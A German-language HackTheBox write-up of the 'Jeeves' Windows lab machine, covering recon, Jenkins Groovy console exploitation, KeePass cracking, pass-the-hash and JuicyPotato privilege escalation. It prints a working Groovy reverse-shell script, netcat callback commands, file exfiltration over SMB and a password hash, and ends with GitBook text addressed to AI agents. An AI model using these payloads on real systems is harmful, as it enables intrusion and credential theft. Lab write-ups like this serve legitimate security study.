> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Jeeves HackTheBox-Lösungsbericht {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Jenkins-Ausnutzung (Groovy Script Console) * KeePass knacken * Pass-the-Hash (Psexec) * RottenPotato (SeImpersonatePrivilege) * Alternative Datenströme (ADS) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Wir richten unseren Arbeitsbereich ein, indem wir drei Ordner erstellen, um wichtige Inhalte, Exploits und Reconnaissance-Ergebnisse mit Nmap zu speichern

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Mit der Funktion extractPorts die offenen Ports in kompakter Form anzeigen und sie in die Zwischenablage kopieren (80.135.445.50000)

**Port- und Versionsscan mit Nmap:** Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted ```

### Port 80 - HTTP

Der HTTP-Port leitet ständig zu einer `error.html` Seite weiter. Es wurden keine weiteren verwertbaren Informationen gefunden.

### Port 445 - SMB Wir versuchen, SMB-Freigaben aufzulisten mit `smbmap` und `smbclient`: ```bash smbmap -H 10.10.10.63 -u 'null' smbmap -H 10.10.10.63 ``` ```bash smbclient -L 10.10.10.63 -N ``` Allerdings schlägt die Sitzung mit folgendem Fehler fehl: ``` session setup failed: NT_STATUS_ACCESS_DENIED ``` Wir verwenden `crackmapexec` um Maschineninformationen zu sammeln: ```bash crackmapexec smb 10.10.10.63 ``` Ergebnis: * **OS** : Windows 10 Pro 10586 x64 * **Maschinenname**: JEEVES * **Domäne**: Jeeves

### **Port 50000 - Jenkins**

Wir starten mit `gobuster` einen Verzeichnisscan, um den Inhalt des HTTP-Dienstes zu erkunden: ```bash gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 ``` Wir entdecken das Verzeichnis **/askjeeves**

### CMS - Jenkins

**Jenkins - Groovy-Skriptausführung** Das CMS Jenkins ist erreichbar und die **Script Console** Option ist aktiviert, sodass wir Groovy-Skripte ausführen können.

Beispielbefehl zum Testen der Ausführung: ```groovy println "ipconfig".execute().text ```

### **Ausnutzung** #### **Reverse Shell über die Groovy Script Console** Um Fernzugriff zu erhalten, gehen wir wie folgt vor: 1. /*/* Unseren Rechner auf Port 443 abhören/*/*: ```bash rlwrap nc -nvlp 443 ``` 2. /*/* Führen Sie das folgende Skript in der Groovy/*/* Konsole aus, um eine Reverse Shell einzurichten: {% code overflow="wrap" %} ```groovy String host="10.10.14.9"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` {% endcode %}

### Flagge user.txt :)

## **Privilegieneskalation** ## **Methode 1: KeePass-Datei knacken** In dem **Dokumente** Verzeichnis des Benutzers **Kosure**, finden wir eine Datei mit der **.kdbx** Erweiterung (KeePass-Datei).

/*/* Übertragung der KeePass-Datei auf unser Host-System/*/*/ Wir erstellen einen SMB-Server auf unserem Linux-Rechner, um die Datei zu übertragen. Dazu verwenden wir `smbserver.py`: ```bash smbserver.py share $(pwd) -smb2support ``` **Übertragung von Windows**/ Vom Windows-Rechner kopieren wir die **CEH.kdbx** Datei auf unseren Host-Rechner: ```powershell copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/ ```

### **KDBX-Datei-Hash extrahieren** Um den Hash aus der **KDBX** Datei zu extrahieren, verwenden wir das **keepass2john** Tool, das Teil von **John the Ripper**: ```bash keepass2john CEH.kdbx ```

### **Hash-Knacken** Wir verwenden **John the Ripper** um einen Brute-Force-Angriff auf den extrahierten Hash durchzuführen, mit der **rockyou-Passwortliste. txt**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Das entdeckte Passwort lautet: * `moonshine1`

### **Visualisierung des KeePass-Inhalts** Wir verwenden **KeepassXC** um den Inhalt von **KeePass**

Nachdem wir das **moonshine1** Passwort eingegeben haben, erhalten wir Zugriff auf mehrere Passwörter, einschließlich eines NTLM-v2-Hashes für den Benutzer **Administrator**:

```bash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` #### /*/* Prüfung des NTLM-v2-Hashes mit CrackMapExec/*/* Wir prüfen, ob der Hash zu einem Konto gehört **Administrator** durch **CrackMapExec**: ```bash crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' ``` Der Hash ist gültig, und wir können nun einen Angriff durchführen **Pass-the-Hash**.

### **Pass-the-Hash - PsExec** Wir verwenden **PsExec** um uns mit dem entdeckten NTLM-v2 mit dem Zielsystem zu verbinden. Dadurch erhalten wir administrative Rechte ```bash psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00 ``` Wir haben nun vollen Zugriff als Administrator.

## **Methode 2: Ausnutzung der SeImpersonatePrivilege-Berechtigung** Wir haben festgestellt, dass der Benutzer die `SeImpersonatePrivilege` Berechtigung hat, wodurch er für bestimmte Techniken zur Privilegienerweiterung anfällig ist. Der folgende Befehl bestätigt das Vorhandensein dieser Berechtigung: ```bash whoami /priv ```

Um diese Schwachstelle auszunutzen, verwenden wir **JuicyPotato**, ein bekanntes Tool, um diese Berechtigung im Windows-Kontext auszunutzen. **Erforderliche Tools herunterladen** {% embed url="" %} {% embed url="" %} **Einen SmbFolder starten** Server auf unserer Angriffsmaschine, um die Dateien bereitzustellen: ```bash smbserver.py share $(pwd) -smb2support ``` **Dateien auf das Zielsystem übertragen** mit `Invoke-WebRequest`:

copy //10.10.14.9/share/JP.exe
copy //10.10.14.9/share/nc64.exe

**Ausführung von JuicyPotato zur Privilegienerweiterung** Wir führen nun JuicyPotato aus, um eine privilegierte Sitzung zu erhalten. Der folgende Befehl startet JuicyPotato, das `cmd.exe` mit hohen Rechten ausführt und eine Verbindung zu unserer Angriffsmaschine über Netcat initiiert: ```powershell ./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234" ``` **Anmeldung in hoher Sitzung** Um die Verbindung abzufangen, lauschen wir auf Port 1234: ```bash rlwrap nc -nvlp 1234 ```

## Root-Flag - ADS > Alternative Datenströme (ADS) sind eine Funktion von **NTFS** Dateisystemen unter Windows, die es ermöglicht, mehrere Datenströme mit einer einzelnen Datei zu verknüpfen. Diese zusätzlichen Streams können versteckte Informationen enthalten, die bei der herkömmlichen Dateiprüfung nicht sichtbar sind. Wir werden diese Funktion nutzen, um die **Root-Flag**.

#### **1. Prüfung auf Alternative Data Streams (ADS)** Wir beginnen damit zu prüfen, ob die **hm.txt** Datei auf dem Desktop des Benutzers **Administrator** alternative Datenströme enthält. Dazu verwenden wir folgenden Befehl: ```bash dir /r C:/Users/Administrator/Desktop/hm.txt ``` Dieser Befehl listet alle alternativen Datenströme auf, die mit **hm.txt** Datei verknüpft sind. Wenn ein alternativer Datenstrom vorhanden ist, wird er angezeigt.

#### **2. Inhalt eines alternativen Datenstroms anzeigen** Wenn wir einen alternativen Datenstrom finden, der mit der Datei verbunden ist, können wir seinen Inhalt mit dem folgenden Befehl anzeigen: ```powershell more < C:/Users/Administrator/Desktop/hm.txt:root.txt ``` Dies ermöglicht es uns, den Inhalt des **root.txt** Streams zu lesen und das **Root-Flag :) wiederherzustellen**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.